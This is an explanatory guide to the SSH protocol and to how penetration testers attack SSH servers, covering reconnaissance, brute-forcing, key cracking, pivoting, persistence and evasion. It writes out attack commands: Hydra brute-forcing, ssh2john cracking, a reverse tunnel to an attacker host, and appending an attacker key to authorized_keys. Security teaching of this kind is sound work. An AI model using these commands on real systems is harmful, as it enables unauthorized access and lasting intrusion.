How SSH Works (Latest Perspective)

SSH operates on a client-server model, typically over TCP port 22 (though this is often changed for security reasons). It's designed to provide a secure channel over an unsecured network by using strong cryptography for authentication and encryption.

The core phases of an SSH connection are:

1. **Transport Layer Protocol (Layer 1 - Encryption & Integrity):**
    - **Negotiation:** Client and server negotiate the protocol version (SSHv2 is standard, SSHv1 is deprecated and highly insecure), cryptographic algorithms (ciphers like AES, ChaCha20-Poly1305), MAC algorithms (for integrity, e.g., HMAC-SHA2), and key exchange methods (e.g., Diffie-Hellman, ECDH).
    - **Host Key Verification:** The server presents its public host key. The client checks this against its known_hosts file. This is critical for preventing Man-in-the-Middle (MitM) attacks. If it's a new host or the key has changed, the client warns the user.
    - **Key Exchange:** A shared secret key is generated using a key exchange algorithm. This key is *never* transmitted over the network; it's derived independently by both sides. This shared secret is then used to generate symmetric encryption keys for the entire session.
    - **Symmetric Encryption:** All subsequent data exchanged (including authentication credentials and commands) is encrypted using the agreed-upon symmetric cipher, ensuring confidentiality. MACs ensure data integrity.
2. **User Authentication Protocol (Layer 2 - User Identity):**
    - Once a secure, encrypted channel is established, the client attempts to authenticate the user to the server. Common methods include:
        - **Password Authentication:** The username and password are sent over the *encrypted* channel. While better than plaintext, it's still susceptible to brute-force attacks.
        - **Public Key Authentication (SSH Keys):** This is the most secure and recommended method. The user has a public/private key pair. The public key is stored on the server (~/.ssh/authorized_keys). During authentication, the server challenges the client, and the client uses its *private* key to prove ownership without ever sending the private key.
        - **Keyboard-Interactive Authentication:** A flexible method where the server can request various forms of input (e.g., multi-factor authentication codes, CAPTCHAs).
        - **GSSAPI Authentication:** Used in enterprise environments for integration with systems like Kerberos.
3. **Connection Protocol (Layer 3 - Services):**
    - After successful authentication, the encrypted tunnel can be used for various services:

        - **Shell Sessions:** Interactive command-line access.
        - **Port Forwarding (Tunneling):**
            - **Local Forwarding (-L):** Forwards a local port to a remote host/port *through* the SSH server. Useful for accessing services on the remote network that are not directly exposed.
            - **Remote Forwarding (-R):** Forwards a remote port on the SSH server to a local host/port. Useful for creating a "reverse shell" or allowing an external service to access something on the attacker's internal network.
            - **Dynamic Forwarding (-D):** Creates a SOCKS proxy, allowing a client to route all its traffic through the SSH server, effectively using the server as a proxy to access other resources.
        - **SFTP (SSH File Transfer Protocol):** A secure file transfer subsystem.
        - **SCP (Secure Copy Protocol):** Another secure file transfer utility.

How Ethical Hackers Make Use of SSH Effectively

Ethical hackers leverage SSH for various phases of a penetration test:

1. **Reconnaissance and Enumeration:**
    - **Port Scanning (Nmap):** Identify open SSH ports (default 22).
        - nmap -p 22 <target-ip> or nmap -sV <target-ip> (for version detection).
    - **Banner Grabbing (Netcat):** Connect to the SSH port to retrieve the SSH server software and version (e.g., OpenSSH_8.9p1). This is crucial for identifying known vulnerabilities.
        - nc -nv <target-ip> 22
    - **SSH Audit (ssh-audit):** A powerful tool to thoroughly audit SSH server configurations, reporting on supported ciphers, MACs, key exchange algorithms, public keys, and potential weaknesses (e.g., weak algorithms, outdated protocols).
        - ssh-audit <target-ip>
    - **User Enumeration (Metasploit):** Some SSH server configurations can be susceptible to username enumeration through timing attacks or specific error messages.
        - msfconsole -> use auxiliary/scanner/ssh/ssh_enumusers
    - **OSINT/Public Key Harvesting:** Searching for public SSH keys linked to organizations or individuals on GitHub, Pastebin, or other public repositories.
2. **Vulnerability Exploitation (Initial Access):**
    - **Weak Credentials (Password Authentication):** If password authentication is enabled, brute-force and dictionary attacks are common.
        - **Tools:** Hydra, Medusa, Ncrack.

    - hydra -L userlist.txt -P passlist.txt ssh://<target-ip>
    - **Credential Stuffing:** Using leaked credentials from other breaches.
  - **Weak SSH Key Passphrases:** If SSH private keys are found (e.g., on a compromised system or misconfigured backup), and they are encrypted with weak passphrases, these can be cracked.
    - **Tools:** ssh2john.py (from John the Ripper) to convert the key to a crackable hash, then john or hashcat for cracking.
    - python /usr/share/john/ssh2john.py ~/.ssh/id_rsa > ssh_key.hash
    - john --wordlist=wordlist.txt ssh_key.hash
  - **Outdated/Vulnerable SSH Server Software:** Identifying the SSH server version (e.g., OpenSSH 7.x) and then researching known CVEs (Common Vulnerabilities and Exposures) for that version. Metasploit often contains modules for specific SSH vulnerabilities. (Example: Terrapin attack CVE-2023-48795, though this is a protocol-level issue, not necessarily a RCE).
  - **Host Key Impersonation (MitM):** If the client *does not* verify the server's host key, an attacker can perform a MitM attack by presenting their own SSH server (e.g., using Bettercap or EvilGinx2 in some scenarios) to intercept credentials. This is often successful only if the client ignores warnings or on first connections.
  - **Default/Insecure Configurations (sshd_config):** Looking for common misconfigurations:
    - PermitRootLogin yes: Allows direct root login, a major security risk.
    - PasswordAuthentication yes: Allows password-based authentication, which should be disabled in favor of keys.
    - UsePrivilegeSeparation no: Disables privilege separation, a security feature.
    - AllowTcpForwarding yes (without restrictions): Could allow unlimited tunneling.
    - AllowUsers/DenyUsers/AllowGroups/DenyGroups misconfigurations leading to unauthorized access.

3. **Post-Exploitation (Once access is gained):**
  - **File Transfer (SCP/SFTP):** Used to upload tools or download sensitive files (e.g., configuration files, logs, user data, other SSH keys).
    - scp user@target:/path/to/remote/file /local/path
  - **Command Execution:** Executing commands on the remote system.
    - ssh user@target "ls -la /etc"
  - **Port Forwarding (Pivoting and Tunneling):**
    - **Local Forwarding (-L):** Access internal network services (e.g., databases, web interfaces) from the compromised server.

            - ssh -L 8080:internal_db_server:3306 user@compromised_ssh_server (Now, local port 8080 connects to the internal DB server's port 3306)
        - **Remote Forwarding (-R):** Create a reverse tunnel to allow access from the compromised server back to the attacker's machine. Useful for bypassing firewalls.
            - ssh -R 4444:localhost:22 attacker@attacker_vps (Compromised server's port 4444 connects to attacker's SSH on port 22)
        - **Dynamic Forwarding (-D):** Create a SOCKS proxy to route all traffic through the compromised server, effectively using it as a pivot point for network reconnaissance and lateral movement.
            - ssh -D 8080 user@compromised_ssh_server (Configure browser/tools to use SOCKS proxy on localhost:8080)
    - **Persistence:**
        - **Adding SSH Keys:** Placing the attacker's public key into ~/.ssh/authorized_keys for easy, passwordless re-entry.
            - echo "ssh-rsa AAAAB3NzaC..." >> ~/.ssh/authorized_keys
        - **Modifying sshd_config:** If root access is obtained, modifying the SSH daemon configuration to weaken security (e.g., enable password authentication, allow root login) for easier future access.
    - **Privilege Escalation:**
        - Looking for sudo misconfigurations (sudo -l).
        - Searching for sensitive files (e.g., unencrypted private keys, scripts with hardcoded credentials).
        - Exploiting local vulnerabilities.
    - **Lateral Movement:** Using SSH credentials or tunnels to access other systems on the network.

Problems Faced by Ethical Hackers

1. **Strong Configurations:** Well-hardened SSH servers disable password authentication, root login, use only public key authentication, enforce strong ciphers, and update regularly.
2. **Firewalls and IDS/IPS:**
    - Firewalls block port 22 or restrict access to specific IP ranges.
    - IDS/IPS detect brute-force attempts, known exploit patterns, and unusual SSH activity.
3. **Rate Limiting and Account Lockouts:** Many SSH servers and tools like Fail2ban automatically block IPs or lock accounts after a few failed login attempts, making brute-forcing impractical.

4. **Honeypots:** Ethical hackers might encounter SSH honeypots (e.g., Cowrie) designed to log attacker activity, waste their time, and gather intelligence.
5. **Strict Key Management:** Organizations with good security hygiene rotate SSH keys regularly, use short-lived certificates, and ensure keys are not exposed.
6. **Multi-Factor Authentication (MFA):** If MFA is enabled, compromising a password or key alone is not enough.
7. **Limited Information Disclosure:** Hardened SSH servers provide minimal information in their banners or error messages, making enumeration difficult.

How to Overcome These Problems (Ethical Hacking Strategy)

Ethical hacking against SSH in a modern, secure environment requires a more sophisticated approach:

1. **Thorough Reconnaissance is Paramount:**
   - **Passive Scanning:** Use tools like Shodan or Censys to find publicly exposed SSH servers and gain initial insights into their versions and configurations without direct interaction.
   - **OSINT:** Actively search for leaked credentials (corporate emails in data breaches), employee names (for user enumeration), or misconfigured Git repositories that might contain SSH keys.
   - **Social Engineering:** While not a direct SSH attack, convincing a target to reveal SSH credentials or upload a malicious SSH key can be highly effective.
2. **Beyond Brute-Forcing:**
   - **Credential Stuffing:** Leverage publicly available credential dumps.
   - **Password Spraying:** Instead of many passwords for one user, try one common password across many users. This can sometimes bypass basic lockout mechanisms.
   - **Targeting Weak Passphrases:** Focus on cracking *passphrases* for discovered SSH keys, as these are often weaker than the keys themselves.
3. **Exploiting Configuration Gaps (Even in "Secure" Deployments):**
   - **Exhaustive ssh-audit and Manual Review:** Look for subtle misconfigurations like:
     - Outdated but *still enabled* weak ciphers or MACs (e.g., arcfour, hmac-md5). Even if not default, if supported, some attacks like Terrapin might be possible (though complex).
     - Improper ChrootDirectory settings that could allow escape.
     - Unrestricted AllowTcpForwarding leading to pivoting opportunities.
     - Verbose logging disabled, hindering detection.
   - **Abusing Legitimate SSH Features:** If an attacker gains *any* SSH access (even low-privileged), they can leverage port forwarding (-L, -R, -D) to tunnel to other internal services or create persistence. This is a common pivot technique.

- **Analyzing .ssh/config files:** On compromised client machines, look at ~/.ssh/config for aliases, private key paths, and configuration settings that could point to other accessible servers.

4. **Supply Chain and System-Level Vulnerabilities:**
    - **Outdated Libraries/Dependencies:** The SSH daemon might be running on an updated OS, but underlying libraries it uses could have vulnerabilities.
    - **Kernel Exploits:** If SSH provides an initial shell, focus shifts to local privilege escalation using kernel exploits or misconfigured SUID binaries.
    - **Web Application Vulnerabilities:** A weak web application on the same server might allow RCE, leading to a shell, which then allows access to SSH keys on the filesystem.
5. **Evasion Techniques:**
    - **Changing SSH Port:** While a basic defense, scanning all 65535 ports on a target can reveal SSH running on a non-standard port.
    - **Stealthy Brute-Forcing:** Using slow, distributed brute-force attacks to evade rate limiting and IDS (e.g., using a botnet or compromised machines).
    - **Covert Channels over SSH:** While advanced, SSH tunnels can be used to exfiltrate data or maintain C2 communication in a stealthy manner within an encrypted channel.
6. **Client-Side Attacks:**
    - **Compromised Workstation:** If an attacker compromises a developer's or administrator's workstation, they can steal SSH private keys, potentially granting access to numerous servers. This often bypasses server-side SSH hardening.
    - **SSH Agent Hijacking:** If ssh-agent is used, attackers might try to hijack the agent socket to use loaded keys without knowing the passphrase.